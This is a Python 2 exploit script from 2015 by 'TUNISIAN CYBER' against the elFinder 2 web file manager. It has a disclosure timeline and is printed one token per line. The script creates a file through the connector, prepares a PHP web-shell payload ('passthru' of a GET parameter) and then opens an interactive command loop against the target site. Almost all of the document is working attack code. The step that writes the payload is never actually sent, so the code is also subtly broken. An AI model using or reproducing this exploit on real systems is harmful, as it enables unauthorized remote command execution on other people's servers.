#[+] Author: TUNISIAN CYBER
#[+] Title: elFinder 2 Remote Command Execution (Via File Creation) Vulnerability
#[+] Date: 06-05-2015
#[+] Vendor: https://github.com/Studio-42/elFinder
#[+] Type: WebAPP
#[+] Tested on: KaliLinux (Debian)
#[+] Twitter: @TCYB3R
#[+] Time Line:
# 03-05-2015:Vulnerability Discovered
# 03-05-2015:Contacted Vendor
# 04-05-2015:No response
# 05-05-2015:No response
# 06-05-2015:No response
# 06-05-2015:Vulnerability published
import
cookielib, urllib
import
urllib2
import
sys
print
"\x20\x20+-------------------------------------------------+"
print
"\x20\x20| elFinder Remote Command Execution Vulnerability |"
print
"\x20\x20| TUNISIAN CYBER |"
print
"\x20\x20+-------------------------------------------------+"
host
=
raw_input
(
'\x20\x20Vulnerable Site:'
)
evilfile
=
raw_input
(
'\x20\x20EvilFileName:'
)
path
=
raw_input
(
'\x20\x20elFinder s Path:'
)
tcyber
=
cookielib.CookieJar()
opener
=
urllib2.build_opener(urllib2.HTTPCookieProcessor(tcyber))
create
=
opener.
open
(
'http://'
+
host
+
'/'
+
path
+
'/php/connector.php?cmd=mkfile&name='
+
evilfile
+
'&target=l1_Lw'
)
#print create.read()
payload
=
urllib.urlencode({
'cmd'
:
'put'
,
'target'
:
'l1_'
+
evilfile.encode(
'base64'
,
'strict'
),
'content'
:
'<?php passthru($_GET[\'cmd\']); ?>'
})
#print write.read()
print
'\n'
while
True
:
try
:
cmd
=
raw_input
(
'[She3LL]:~# '
)
execute
=
opener.
open
(
'http://'
+
host
+
'/'
+
path
+
'/admin/js/plugins/elfinder/files/'
+
evilfile
+
'?cmd='
+
urllib.quote(cmd))
reverse
=
execute.read()
print
reverse;
if
cmd.strip()
=
=
'exit'
:
break
except
Exception:
break
sys.exit()